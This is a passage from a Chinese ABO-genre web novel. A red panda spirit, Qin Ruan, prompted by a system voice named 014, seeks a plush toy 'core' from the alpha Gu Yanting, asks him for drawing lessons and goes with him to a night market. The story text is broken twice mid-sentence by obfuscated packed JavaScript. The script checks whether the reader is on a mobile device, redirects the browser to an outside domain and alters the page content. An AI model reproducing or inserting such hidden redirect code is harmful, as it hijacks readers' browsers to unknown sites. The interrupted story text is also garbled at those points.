“……”覃阮蹙眉,不乐意道,“这主意一点都不好。” 其实顾砚庭的信息素比苹果好闻一点,虽然他不想承认,但事实是这样。 覃阮翻个身,脸压在被褥上挤出一小团软肉,拿出到手的那只小熊猫玩偶,手指勾住钥匙扣将玩偶悬挂在眼前,轻轻摇晃,视线对焦,望着玩偶笑盈盈的脸发呆。 “为什么不是这只呢……” 覃阮嘀嘀咕咕,渐渐起了瞌睡,握住玩偶的手垂下,视线飘去远处的墙角。 那晚他变回小熊猫本体,被顾砚庭那家伙逮住的情景重现,一帧一帧回放。覃阮将脸埋进被褥,深深吸一口气,手抚摸上腺体。 被拎住后颈的奇特触感他此刻仍记得,像有一股裹挟暖意的电流窜进腺体,顺着脊背蔓延至全身,激得他大脑皮层泛起阵阵酥麻。 奇怪的是,覃阮觉得那样的感觉很舒服。 “我讨厌他……” 他怏怏不乐地说,脸仍藏在被褥里,声音听起来很闷。 不出片刻,他又偏过头露出脸,脸上压出些红印,看着像一团红晕。 覃阮眼皮耷拉,看起没什么精气神,像是困了,但其实在出神。 独自消化情绪,覃阮自己哄好自己,他盘腿坐起身,捞起扔在旁边的手机解锁,愤愤地翻出工作室大群:“找他就找他!我一定能完成任务!” 【宿主真棒!!】014在脑意识里为覃阮举大旗。 工作室大群里人人都有姓名备注,顾砚庭也在其中。但自覃阮入群以来,那家伙的账号就从未显示在线,更是没在群里发过一言片语。 覃阮一度怀疑顾砚庭根本不用这个号,可此刻,他竟发现顾砚庭在线。 他果断发出好友申请,又即刻熄屏扔开手机,再没多看一眼。转而起身,去撩拨窗台床帘,去默数地板砖块,又在岛台烧壶热水却不喝。 覃阮在房间里来回踱步,碰碰这摸摸那,看似很忙,实则一直在瞄床上的手机。 随着一声响,覃阮倏地静止,他神色严峻地盯紧床上的手机,挪过去,拿起来看发现是垃圾消息。 014:【哎呀,不是顾砚庭呢。】 覃阮:“……” 他试图狡辩:“我没在等他。” 014依着他:【嗯嗯,没有没有。】 “……” 覃阮听出014的敷衍,郁闷地“哼”了声,就此时,双手捧住的手机再次响起,他闻声低头,看见屏幕上显示顾砚庭已经通过他的好友申请。 手里的手机瞬间像个烫手山芋,覃阮险些失手甩出去,所幸攥稳了。 他盯着与顾砚庭空白的对话框,目光胶在“顾砚庭通过了你的好友申请,现在可以开始聊天了”这句话上,指尖在输入框机械地敲字、删除,又敲字,又删除。 【宿主……】014委婉提醒,【光输入一直不发送,对方能看见你一直在输入。】 不太懂人类科技的覃阮大为吃惊:“还能这样?” 正此时,手机振动,顾砚庭发来消息。 顾砚庭:【?】 顾砚庭:【一直在输入什么?】 覃阮:“。” 天好像有点塌了,但覃阮硬生生自己给顶了起来,他在键盘上敲几下。 覃阮:【有件事想找你。】 覃阮:【你有空吗?】 对面沉寂片刻。 顾砚庭:【什么事?】 覃阮脸上的表情与此时的情绪一样,复杂拧巴,难受不爽,忍着不自在敲字:【我快结课了。】 顾砚庭:【嗯。】 顾砚庭:【所以?】 覃阮:【你知道的,我的画很抽象派。】 覃阮:【但是这堂课是石膏素描。】 顾砚庭:【那很糟糕了。】 顾砚庭:【加油。】 覃阮:“……” 他忍,磨着牙齿继续发:【我不太行。】 想了想又问:【你能教教我吗?】 对面没有立即回复,覃阮再次扔开手机在房间里不停找事做,直到床上的手机传来声响。 覃阮不想去看手机。 果然,他还是很讨厌顾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15702548|173500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 砚庭!! 磨蹭半晌,终于飘过去拿起手机,一看来消息的人是顾霄。 顾霄:【阮!出来吃夜宵呀!我们去逛逛西城的夜市!】 夜市…… 覃阮眼睛明亮,心情回暖:【去,我去找你。】 顾砚庭还没来消息,覃阮捏紧手机,不太开心。他收拾情绪,换上白体牛仔裤,背上他的小胸包即刻出门。 顾霄在楼下等他,覃阮赶过去时看见三个人,他脚步顿了顿,目光先是在笑盈盈向他招手的顾霄脸上停留,而后抬起视线看向旁边的Alpha。 顾砚庭没抬头,在看手机。 “晚上好覃阮。”说话的人是秦一祝,“今天状态好点了吗?” 覃阮上前站定:“已经没事了。” “那太好了。我们走吧,听说今晚夜市有活动,我们能赶上看看热闹。”顾霄带队,转身往车库前进,抵达后正要去拉后座的门,一路缄默不言的顾砚庭此时开口:“你开车。” 顾霄茫然:“啊?” “车技有待提升。”顾砚庭如是评价,并给出解决方案,“秦一祝教你。” 另一边正拉后座门的秦一祝怔忪,指着自己的脸:“啊?我吗?” 顾砚庭不语,回眸低头,看着身旁抓紧胸包带的覃阮:“你坐我的车。” 覃阮眨一下眼。 三双眼睛清澈茫然,顾砚庭倒是神态散漫,只看着覃阮:“坐不坐?” 反射弧极长的覃阮终于接收到信号,不情愿的点头:“好吧。” 顾霄左看右看,举手提出疑惑:“可是我们四个人,坐一辆车不就好了?为什么要多开一辆?” 顾砚庭:“你车技太烂,我不打算再体验。” 顾霄:“……” 秦一祝:“……” 合着就我去体验呗? 覃阮斟酌几秒,退回来挨着顾霄站:“我相信顾霄,我坐他的车。” “天呢!”顾霄受宠若惊,抱着呆呆的覃阮转圈圈:“覃阮最好了!!” 顾砚庭:“……” 他好整以暇的看着覃阮,没什么表情的脸上露出个淡淡的笑:“行,你随意。” 即将丧失一个谈判机会的覃阮捏捏手指,还是坚定地选择了顾霄。然而此时顾霄却不自信了,推推覃阮的肩:“不行,阮,你还是跟我哥走吧,我车技死烂,你肯定会吐。” 覃阮摇头:“没事的。” “有事。”顾霄表情严肃,“我压力会非常大。” 如此一来,覃阮还是上了顾砚庭的车,他站在车门外,思忖几秒,准备坐后面,才拉开车门,驾驶位的顾砚庭回头看来:“把我当司机?” 覃阮顿住,真诚发问:“你不是司机吗?” 而后又嘀咕:“…我又不会开车。” “……”顾砚庭注视覃阮充满迷茫的眼,回身:“坐前面。” 覃阮反应慢一拍,慢吞吞地“哦”了声。 后门关上,坐上副驾驶后系安全带,覃阮双手规规整整搁在膝上。车向前行驶,狭小的空间内一时间静得出奇。 有点不自在的覃阮率先开口:“你为什么不回我消息?” 顾砚庭目视前方:“你指什么?你不太行那条?” 等待红灯的间隙,他又转头看着覃阮,眉眼间染着懒散的笑意:“还是想让我教你那条?” “…………” 覃阮咂嘴,蹙着眉盯顾砚庭那双看起来焉儿坏的眼睛,心里气急。 这家伙!肯定是故意的!! 17. 我应该谢谢你吗? “你这人……”覃阮幽怨地盯着顾砚庭的侧脸,“真的很讨厌。” 小熊猫常常不太能理解人类间的人情往来,他起初还秉持有话直说、不自己憋着的原则,可在人类世界生活几年后,习性随之悄然改变,如今面对该讲实话的场合,他也会反复斟酌犹豫。 人类间,好像把这种状态称作“拧巴” 。 覃阮拧巴地抠着放在膝上的手指,扭头不看那讨人厌的Alpha,目光望向窗外,怏怏不乐地表述自己的不满,声音不大,温温吞吞的没什么攻击性。 “祈医生说我不算正常发情期,是被诱导进入的絮乱症状。”覃阮回头,盯着顾砚庭,“是因为你。” 覃阮不懂ABO世界里信息素间的弯弯绕绕,反正祈医生告诉他,说他发热是因为顾砚庭。 “嗯,因为我。”顾砚庭目视前方,“这件事我道歉,想要什么?你提就是。” 覃阮懵了片刻,再次有种拳头打在棉花上的感觉,他试图从顾砚庭那张平静止水的脸上观察出些情绪。 很可惜,一点没有。 顾砚庭这人还是一如既往地没有人情味。 【……】覃阮问014:【他就这么直接问我?】 014:【好机会啊!让他教你完成专业作业!啊等等等等!!你直接问他要另一只玩偶!!】 覃阮犹豫:【好像不太好。】 014:【不试试怎么知道他乐不乐意给?】 有道理。覃阮听了014的话,对顾砚庭说:“我想要你另一个玩偶。” 本以为覃阮至少会提出让他帮忙完成课业,没想到竟然是又要他的玩偶。顾砚庭难得反应迟滞,恰逢红灯停车,转头看向身旁的覃阮,缄默须臾后眯起狭长眼眸:“你不是已经有一个了?” “……”覃阮视线飘走,“两个都很可爱。” 为了将心虚掩藏好,他只好硬着头皮说:“你自己说的,我想要什么提就是,我现在就想你那只玩偶。” 顾砚庭看着覃阮飘来飘去的眼睛,趁红灯还没结束,他拿出玩偶,将里面的平安福取出,旋即就把玩偶扔给覃阮,踩在绿灯亮前将平安福收起,启动汽车继续向前:“还要什么?” 覃阮双手捧着轻而易举得来的玩偶,双目怔忪:“就……真给我了?” 顾砚庭专注前方,“我挺好奇,你为什么一定要这两只玩偶?” 他的视线往覃阮这边偏,“真喜欢玩偶的话,市面上随处可见,比这精致的不少,为什么要我手里的?” 覃阮心虚挪开视线,不看顾砚庭的眼睛:“你的这种很特别。” “是吗?”顾砚庭收回目光,不再深究这个话题,又问,“还有什么想要?” “你的道歉好没诚意。”覃阮捏捏玩偶,小声嘟哝。 顾砚庭掀起眼皮:“你觉得怎样算有诚意?” 覃阮抿唇不语,他可没期望这个讨人厌的家伙能憋出什么好话,在心里问014:【感应到了吗?这只玩偶是不是核心?】 【……】014憋了好半晌,茫然,【怪了,我的确能感受到到核心微弱的波动,但并不是来自你手里这个玩偶。】 这回覃阮没将期望拔高,听见这个结果情绪还算稳定,他捏捏玩偶大尾巴:“我还有一周结课,我想你帮我改改画。” “可以。”顾砚庭答应。 “就……又答应了?”覃阮这回是真惊讶,他看着驾驶位上的Alpha,静几秒说,“我听顾霄说你很忙。” 顾砚庭:“还行。” “那为什么答应这么爽快?你工作怎么办?” “这不是你该担心的。”顾砚庭将车停好,解开安全带,在漆黑的车厢里寻到覃阮那双明亮漂亮的眼睛,“你该担心你自己的专业课业,抽象派小画家。” 覃阮目视对方下车关门,车内寂静,他这才后知后觉顾砚庭在打趣他。他下车小跑去追走远几步的Alpha:“我有好好练习,这张作业的起形已经挺准了。” “嗯,很厉害。”顾砚庭来到自动贩卖机前,问覃阮,“喝什么?” 追赶上前的覃阮差点撞在突然停下的顾砚庭身上,他及时刹脚,往旁边挪挪,观察那台白光铮亮的贩卖机:“我不……” 他的眼睛敏锐捕捉到其中的苹果汽水,于是话头猛转,抬手指指那瓶苹果味汽水:“这个。” 贩卖机哐当两声响动,顾砚庭拾起两瓶汽水,将覃阮那瓶递过去。他看着手捧汽水观察上面文字的覃阮:“你很喜欢苹果。” “嗯。”覃阮点头,眼里染上些笑意,“苹果是世界上最好吃的水果。” 说着又一顿:“但很多人似乎不喜欢。” 顾砚庭没发表观点,拿着他那瓶往车库外走,步履不快,旁边的人正好能跟得上。 汽水冷冻,握在手心冰冰凉凉,覃阮捏了捏瓶身,拧开尝一口,缓慢蹙眉:“味道怪怪的。” 顾砚庭视线在远处人头攒动的夜市:“人工合成甜味剂,味道不怪才有问题。” 覃阮抬头:“人工合成甜味剂?” 顾砚庭将剩下一半多的汽水扔去旁边的垃圾桶,难得耐心解释:“全添加零天然。” 覃阮还是没太懂,脑子里的014及时出声:【就是没任何营养,不含有真正苹果汁水。】 “……”覃阮眉毛皱紧,看着手里的苹果汽水,“怪不得。” 顾砚庭看向他:“怪不得什么?” “不像苹果水。”覃阮顺口就说出来心里的想法,“还赶不上你的信息素像。” “……” 一阵沉默,顾砚庭扬了扬眉,没说话。 小声嗫嚅的覃阮自己反应过来,抬头对上顾砚庭的眼,解释:“我没别的意思,就发表一下看法。” 顾砚庭好整以暇的注视他。 “我之前……”覃阮斟酌言辞,再次解释:“之前问你的信息素味道,真不知道这个问题会冒犯你,我要是知道肯定不会问。” 顾砚庭:“生理课没上?” “……”覃阮胡编乱掐,“不是,没有,忘了。” 这回答很可疑。很多生理知识算常识,常识也能忘记? 顾砚庭双手环抱,追忆覃阮以往的动机,发现很多可疑之处。 为什么要他的玩偶?还有这段时间里,看起来像极了在想方设法接近他的种种举动。 或许真是因为玩偶才接近他,但这个理由怎么想都很牵强。 顾砚庭视线挪开不再注意覃阮。 无人说话,覃阮低头捏揉汽水瓶:“既然没营养,你为什么还买这个喝?” “解渴。”顾砚庭看一眼时间,给秦一祝发去消息,而后收了手机对覃阮说,“专业课时间表发我一份,课后把写生物体的照片按画面角度拍摄也发给我。” “我的画也发吗?”覃阮问。 “嗯。” “好的。” 覃阮低头在手机相册里寻找前段时间拍摄的照片,发给顾砚庭:“你看看呢?” 顾砚庭拿起手机,翻开覃阮发来的照片,片刻后说:“形体勉强过关,能看。” 明明不算一句好话,覃阮却莫名从中提取到些许夸奖的意味,他抿着唇,弯弯眼眸:“谢谢,我也觉得很好。” 这可是他努力好久的成果。 顾砚庭:“。” 他眯眼看着脸上溢满笑,盯着手机屏幕乐的覃阮,恍惚间意识到,这个Omega的话并不是在玩笑,是真的发自肺腑。 覃阮的性格和许多人一样,有小脾气,性子不坏价值观正常,并且严格点说,有点礼貌谨慎过头了,还总给人一种温吞慢热的感觉。 但又似乎与大多数人不同。覃阮有许多小表情和小动作,皆能暴露出他的试探。他在试探他人的情绪,试探别人的反应,似乎是期望通过这样的方法寻找与人打交道的方式。 就像刚到新主人家的猫,经常独站在某个角落观察人类的行为,然后试探靠近,连亲昵或发脾气都如出一辙。 又是一阵短暂的寂静,覃阮偷摸观察了顾砚庭好几眼,问014:【还感应得到核心的波动吗?】 【能!】014还是同样的回答:【但绝不是你手里的那只玩偶!】 覃阮思索几秒,想到个有点冒险的办法,他捏紧手里的小熊猫玩偶,飘 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这回顾砚庭没有进一步动作,他散漫地看着覃阮那双茫然的琥珀色眼睛:“可以,理由呢?” 着急上火的覃阮闻言愕然一僵,张了张嘴,又阖上,唇线压得笔直,说不出一句话。 顾砚庭的视线落在覃阮紧闭的唇上,目光在那颗饱满圆润的唇珠上停留须臾,掌心和指腹不合时宜地起了些空落感。 玩偶都给覃阮了,他没得捏,只能轻捻指腹,将注意力散开。 正此时,一辆车驶进车库,极限飘移后刹车停在两人旁边车位上,开得精神振奋的顾霄开门出来:“我做到了!!” 副驾驶差点被甩吐的秦一祝下车直奔附近的垃圾桶,一顿干呕后,弱弱地举手:“小霄师傅,下次飘移前给个预告,我年纪大,遭不住这么整。” 顾霄昂头‘哼’了声:“你好没用。” 两人的抵达打断覃阮这边的交流,眼见顾砚庭转身要往那边去,覃阮咬牙,伸手拉住对方的衣袖,压住声音着急地说:“就捏一下!最后一下!” 顾砚庭回身,垂眸与在他身后眼巴巴的覃阮对视。站在黑暗一隅的Omega双目明亮,漂亮得像夜里璀璨的宝石,那双眼睛里此时映照着顾砚庭的身影,盈满了期待与请求。 方才冒头的丝缕恶劣情绪再次翻涌而出,顾砚庭缓慢蹙眉,回身面对覃阮,将其笼罩在这狭小一处,走近,伸手,连着覃阮的手一起,用自己的手将其整个包住。 烫热的温度覆盖上来,覃阮顿时僵了,他低头看着对方包裹自己的手,努力辨识感受,想要体会到本体被通感玩偶连接的感觉。 仍然没有。 他的思绪在逐渐飘远。 覃阮呆呆地眨眼,轻声说:“你好烫啊。” 顾砚庭眼底闪过一瞬意味不明,他注意到覃阮白晃晃的后颈,空置的那只手指腹缓慢摩挲:“还要做什么?” 覃阮抬头,此时才发现两人的距离近得过头了,他往后挤了点,但无济于事,只好扇着眼睫摇头:“没有了。” 说罢抽抽手,没抽出来,只好用另只手去掰顾砚庭的手指,握着对方的食指掰开,然后又去握中指,一根根弄开后推推,抽离出手又问:“你家里还有小熊猫玩偶吗?” 顾砚庭沉默。 覃阮左顾右盼,捞起对方的手摊开,将手里这只玩偶放上去:“这个你拿着。” “……”顾砚庭垂眼看看掌心里这只原本来自他的玩偶,目光中萦起些淡然的笑,“玩呢?” 覃阮搅动手指:“我想了想,都给你拿走不太好,你一个我一个,这样公平点。” “我应该谢谢你?” “你要谢也行。”覃阮礼貌地回应:“不客气。” 顾砚庭:“。” 他捏紧玩偶,手垂落身侧,指腹指节上全是被覃阮触碰过后余下的散不去的丝丝细腻触感,他心里嘁了声,有些不爽快:“覃阮,还回来就别想再问我要了。” 被喊到名字的覃阮下意识立定,上下唇碰了碰,小声说:“可能不行。” 顾砚庭:“。” 18. AO授受不亲 【他怎么不说话了?】覃阮问014。 【他可能生性不爱说话。】014给出理由。 覃阮茫然,瞄一眼顾砚庭面无表情的脸,心里泛起嘀咕:【人类好难懂。】 还是做小熊猫好,饿了吃困了睡,不用人际交往,互相蹭蹭就能很要好。 【现在呢,能感应到核心的存在吗?】覃阮又问。 014:【可以的。】 怪了,那就肯定在顾砚庭身上,难不成不是玩偶是别的东西? 可是之前几次,他确实看见对方触摸玩偶,而自己也确实有过被空气抚摸的经历,除了玩偶,那还能是什么? 覃阮的思绪雾得很,总像忘记了什么重点。 四人往夜市走,顾霄与秦一祝在前斗嘴,覃阮和顾砚庭走在稍后一点,他实在想不起究竟遗忘了什么重点,偷摸看了眼旁边的Alpha。 顾砚庭在看手机,他身形很高,在人群熙攘的夜市里特别显眼。 覃阮察觉到不少目光偷瞄顾砚庭,奇怪的是,那些视线会若有若无地扫向自己。 “……”他垂眼沉思,挪两步与顾砚庭拉开距离,以为动作静悄悄毫无破绽,然而下一刻对方就抬眼看过来。 顾砚庭平静的看着覃阮:“走这么远干什么?” 覃阮真心话直说:“不想和你站太近。” “……” 一路低头看手机的人这会儿倒是不看了,目光锁着覃阮缓步走近,在对方警惕的注视下,从容取走那瓶苹果汽水:“喝不下就别喝。” “那剩下的怎么办?”覃阮手里空空,指尖轻轻捏合,盯着被捞走的还剩大半瓶的汽水。 然后就看见顾砚庭非常顺手地将汽水扔进垃圾桶。 覃阮蹙眉,十分不赞同:“你这样是不对的,浪费可耻。” 顾宴庭倒没反驳他这句话,只是扫他一眼,去旁边夜市摊买了杯鲜榨的冰镇苹果汁。 【这才是纯正的苹果汁。】014忽然出声,【这家伙还算有良心。】 覃阮没懂怎么就扯到良心上,下一刻,顾砚庭回身将苹果汁递给了他。 原来是给他的。 覃阮茫然,瓮着声:“谢谢你。” 顾砚庭“嗯”了声,嗓音懒懒散散,继续看他的手机。覃阮后知后觉对方可能在工作。 【他看起来好忙。】他在脑海里嘀咕。 【成功人士,很正常。】014说,【顾霄不是说,这家伙除了工作室,还有个公司?此前甚至去给你们上过选修课。】 覃阮抿一口苹果汁:【那他都这么忙了,为什么还出来逛夜市?】 【这014就不知道啦,】014慢悠悠地说,【说不定是出来放松的呢?】 放松就放松,路上还工作,也不怕撞到人。覃阮心里思忖片刻,勉为其难往顾砚庭那边挪近了点。顾砚庭觉察到他的靠近,抬眼来。 感受到视线,覃阮偏开头:“你送我苹果汁,我帮你看路,你工作吧。” 顾砚庭挑眉:“我该谢谢你?” 覃阮:“不用客气。” 小熊猫是很懂礼貌的,有人向他道谢,他一定给予回应,即便听出顾砚庭的语调中带调侃,他并不计较。 顾砚庭还真就安心把自己交给覃阮,一路上注意力都在手机,覃阮也认真履行职责做好引导者。 夜市人头攒动,顾霄和秦一祝不知道疯哪里去了。覃阮专心带路,但其实他也不知道该往哪走。不多时,两人站定在观赏台护栏后,河道上有大片水灯飘来,观赏台上人渐渐增多,覃阮不可避免地与顾砚庭手臂贴在一起,他不自在地动了动,没法挪开,只好硬忍别扭。 满河道彩灯缓缓漂流而过,灯笼里星星点点的火光熠熠生辉,全部映照在覃阮眼里。他专注地捕捉人类世界中的每一帧精彩画面,试图将其深深刻入记忆。 活动末尾,人群散去,空间宽敞不少,看入迷的覃阮后知后觉自己已经在与对方贴了快一个小时。 他往旁边挪开点,看向顾砚庭,终于是没忍住问:“你都这么忙了,为什么还出来逛夜市?” 顾砚庭目光在手机屏幕上,闻言没抬头,不答反问:“你都快结课了,为什么也出来逛夜市?” 覃阮沉默,继而不爽:“我是这两天才得知要提前结课,而且就算我现在想完成作业,作业又不能跑我面前来。” 顾砚庭听出覃阮话里有话,终于收了手机抬眼,拿出那枚小熊猫玩偶盘着玩:“你想说什么?” 被看出小心思,覃阮心虚地左顾右盼,但没藏着掖着:“小长假还没结束,我想回去赶进度。你有空的话能教教我吗?” 手心传来热度,很暖,那温度不属于自己。覃阮一怔,将双手背过去藏在身后,面上维持冷静,一眨不眨地望着顾砚庭。 然后垂下视线看被对方盘弄的玩偶,又说:“没空的话就算了。” 一阵寂静,顾砚庭给出答复:“可以,明天返程?” 覃阮抬眼,目光里盈满惊喜:“我没问题!谢谢你。” 顾砚庭缄默不言,目光停在这个反应温吞的Omega身上,他面色平静如常,眼底却褪去了与覃阮初见时的冷漠。 在顾砚庭看来,覃阮这个人处处透着奇怪。突兀地出现,主动找他说话,以及种种情绪反应,都显得很可疑。 看得出是带着目的来的,但目的是什么?难道真是为了他手里的玩偶?如果是真的,那未免太可笑,如果不是,那还能有什么? 顾砚庭想起此前秦一祝说的话。 ——我不信你看不出来他对你有意思!! 之前他只当是个笑话,可现在,顾砚庭竟破天荒地重新拾起这句话开始审视思考。 他看着覃阮那张一天内有一半时间处于茫然发懵的脸,实在无法从那双清澈无辜的眼睛中捕捉到任何破绽。 完全看不出是带着那种心思来接近他的。 顾砚庭收起思绪,扫了眼覃阮手里的苹果汁,问:“味道怎么样?” 覃阮短暂的反应了下,双手捧起苹果汁递去:“很好喝,你要试试吗?” 懂分享也是小熊猫的美德,覃阮很乐意与他人分享喜欢的东西,虽然眼前这个Alpha他不太喜欢,但他还是大大方方地把东西递上。 而且话说回来,这杯苹果汁还是顾砚庭请他的。 顾砚庭盯着那杯裹着冰水珠的苹果汁,透明杯身,内里是淡淡的汁水,混合着摇晃便会清脆声响的冰块,吸管斜插在封口。 冰镇后的苹果汁氤氲寒气,水珠顺着杯壁滑落,滴在覃阮白晃晃的手指上,染得指尖发红。手上被顺着指节蜿蜒的水痕沾染,在掌心晕开一片湿润。 顾砚庭眼底情绪不明, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15702550|173500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过片刻移开视线:“你自己喝。” 覃阮注意到顾砚庭的喉头滑了下,歪歪头:“可你看起来有点渴。” “……”顾砚庭意识到自己的反应有点反常,不再吭声,沿途返回,经过刚才卖苹果汁的地方,又买了杯西瓜汁。 看着对方手里红艳艳的西瓜汁,覃阮这才会意:“原来你不喜欢苹果。” 拿着西瓜汁降温降燥的顾砚庭没应这声。他没真的喜欢过什么,各行各业尝试了个遍,到头来也都像手里这杯西瓜汁一样索然无味。 西瓜汁喝一半又有扔掉的打算,想起刚才覃阮说的浪费可耻,又没扔,捏在手里往夜市外走:“回去了。” “哦。”覃阮小跑过去追,一段路之后小声抗议:“你慢点,我跟不上。” 才说完,走很快的Alpha还真就慢了下来。 但又实在太慢,覃阮捏捏手里的杯子,看向旁边的人:“现在是不是有点太慢了?” “快点不行,慢点也不行。”顾砚庭低头看他,“这么难将就?” “我说的实话。”覃阮眨巴眨巴眼睛,别开视线:“我腿没你长,没办法,你体谅一下吧。” 被认可腿很长的某人:“……” 他盯着覃阮的发旋,将对方的身形尽收眼底。奇特的俯瞰视角如同广角镜头,恍惚间竟像是在与精致的人形玩偶对话。 就是这玩偶脾气不小。 没听见这家伙吭声了,覃阮抬眼去瞧,手里倏然被塞进来那杯西瓜水,怔忪间,他看见顾砚庭去不远处扫了辆双人共享电车,看着顾砚庭将那双长腿憋屈地放上车,向他行驶过来。 “上车。”顾砚庭把头盔给他戴上。 覃阮左顾右盼:“上哪?” “……”顾砚庭眯眼,“除了后面,你可以选择蹲前面。” 覃阮看看前面,全被对方的腿占据,于是往后挪在后座上坐好,手里两个杯子被拿走放去前面车筐,听见坐在他身前的人说:“扶稳。” 覃阮犹豫,伸手只抓对方的衣角。 顾宴庭回身看他一眼,没说话,启动电车。 惯性袭来,覃阮吓慌了,猛伸手抱紧顾砚庭的腰,脸撞在对方背上,直嚷嚷:“慢点慢点!太快了!!” 速度慢慢降下来,小电驴灵活地穿梭在人群中,夜风掀起两人的头发和衣服,覃阮睁开眼睛,手不敢松开。他不自在地感受着顾砚庭的体温,在夜市混杂的气息中,又嗅到了一丝比苹果香更好闻的气息。 那是顾砚庭的信息素。 覃阮咂下嘴,小声嘟哝:“你都是大老板了,原来也开小电车呀。” 说着抬头,看着对方的后颈:“你这样的成功人士,难道不是叫司机来接吗?手机上都是这么讲的。” 顾砚庭难得笑了声,反应倒不大:“少看手机,你也是被荼毒多了。” 获取信息渠道唯有手机的覃阮闷闷地“哦”了声,好半晌,抓紧对方腰的手咯到硬硬的东西,他疑惑地感受片刻,上手捏两下,脑海里014乍然惊叫:【宿主你摸人家干什么?!AO授受不亲!!这可万万使不得呀!!】 覃阮猛一僵,意识到自己做错了事,他有点慌,脱口而出:“你、你身上好热。” 顾砚庭:“。” 他无声呼出一口气,单手按住覃阮想松开的手:“抱稳,别乱捏。” 19. 顾砚庭是好人 覃阮抿直唇,手僵着不敢动,脸也不敢太靠近顾砚庭。 好半晌,他仰头看看对方的后颈,问:“我们不等顾霄和秦医生吗?” “他们自己会回去。” 顾砚庭嗓音不大,被风和周遭的嘈杂声掩盖不少,覃阮没太听清楚,只能勉强往前凑近些,差一点就靠到对方身上,及时停下又问:“你说什么?” 因角度和位置缘故,顾砚庭能听清身后人说话,他停下车回身,动作幅度较大,覃阮的脸不可避免贴在他手臂上。 虽说租的共享电车可供两人乘坐,但后面没有遮挡倚靠的后背,覃阮一心想保持距离,脸贴上对方那一刻下意识就往后撤,差点仰倒,幸亏顾砚庭伸手把他拉回来。 松开抓住覃宝手臂的手,顾砚庭回到刚才的话题:“他们不会这么早回去,你想等可以留下。” “……”覃阮眨眼,思忖着说,“那我告诉顾霄一声。” “随你。” 覃阮摸出手机发消息,等他发完,电瓶车才重新启动。 晚风中裹着白天余下的闷热,拂在脸上很暖。覃阮的手轻轻环上顾砚庭的腰,没用力也没动弹,两人之间隔着一拳头的距离,难免还是会相触。 停车等红灯时,惯性让两人身体短暂贴合,隔着衣服传来比暖风更灼人的体温,覃阮敏感地往后撤了撤,下意识想松手,可绿灯亮起电车继续前行,他害怕掉下去,只好稳住没放开。 一路无言,覃阮却满脑子在想,为什么顾砚庭的体温这么高? 是所有人类都这样吗? 顾霄好像不这样。 这段路不长,在覃阮小小的天地里却走了很久很久,抵达车库时夜已深,顾砚庭去锁车,覃阮站在路口等,手机这才收到顾霄的回信。 顾霄:【收到!你们先回吧,晚安~】 顾砚庭说的没错,顾霄精神很好,大概还没逛够。 人与人真的好不一样。顾霄和秦医生热情开朗,顾砚庭却截然不同,这个Alpha别说热情,就连人类常见的温和交流方式都少见,说话总是冷得让覃阮意外。 思维发散的间隙,顾砚庭已经回来,覃阮没发现对方看了他片刻,回神望去,对上那双在他看来还是有点凶的眼睛,眨下发懵的眼睛,没忍住把心里的问题抖了出来:“顾砚庭,为什么和你顾霄他们不一样?” 顾砚庭沉静须臾,反问:“哪里不一样?” 彻底回神的覃阮呆怔着,心想反正也收不回问题,干脆继续说:“你的性格和他们很不同。” 顾砚庭没应声,覃阮便自顾自道:“顾霄很热情,秦医生经常笑,祈医生很温柔,但你不太一样。” 他说着偏过头,歪着脑袋静静注视顾砚庭的眼,目光中充满着对未知的好奇,但更多的是茫然:“顾砚庭,你好难懂。” 小熊猫的世界纯粹简单,对他好的他看得出,对他不好的他花点心思也能感受到。顾砚庭这人却很不同,他不像水果店热情的老板,不同班上严厉但课后温和的讲师,不像热情洋溢的顾霄。 在覃阮的世界里,顾砚庭起初是中立甚至偏讨厌的存在,后来却渐渐变得不一样了。他会请覃阮喝苹果汁,会兑现承诺把玩偶给覃阮,还答应了帮忙改作业。 这些或许是对之前信息素诱导覃阮发情的弥补,可覃阮逐渐发现,这个令人讨厌的Alpha,应该不算太坏。 但这家伙说话总欠欠的…… 好矛盾的一个人。 覃阮缓慢眨眼,他收回目光盯着自己的鞋尖看。深夜的风退去热度,裹挟更多淡淡凉意,覃阮空白的世界里仿若沾染了一些颜色,是融入人类世界后,第一次对人有了深层次的思考,但很可惜,那抹颜色他没分辨出是什么,也没将那层思考想明白,最后只得作罢,呆呆地扯开话题:“我有点冷。” 顾宴庭没将手里那杯还散着寒气的苹果汁交给覃阮,转身朝车库走:“回去了。” 覃阮拢了拢单薄的衣服,手指触碰到脖颈上的信息素阻隔颈环,想起出院前祈医生对他说的话。 ——颈环可以有效隔绝Alpha的信息素气息,并且保护你的信息素散出去,是恢复期间很好的选择。 他的脚步倏然顿住,定在原地,茫然的望着前方顾砚庭的身影,怔忪片刻后呼唤:“顾砚庭。” 前方的Alpha停下,回身看他:“怎么?” “……我刚才闻到你的信息素了。”覃阮空白的脸上露出些不解,“但我戴着颈环。” 顾砚庭注视他,沉默片刻后移开目光:“颈环效果太差。” 覃阮右手在颈环上摸摸:“是这样吗?” 可是这是祈医生拿给他的医用颈环,效果怎么会差? 覃阮不太明白。 不明白的同样还有顾砚庭。 …… “你说你的信息素收拾得很好?覃阮还带着医用阻隔颈环,但他闻到了你的信息素??” 秦一祝的声音从电话那边穿刺过来,震得人脑仁疼。顾砚庭早有预料,将手机搁在办公桌上,放得老远,平静地看手里的项目策划案:“你不是已经有预料了?” 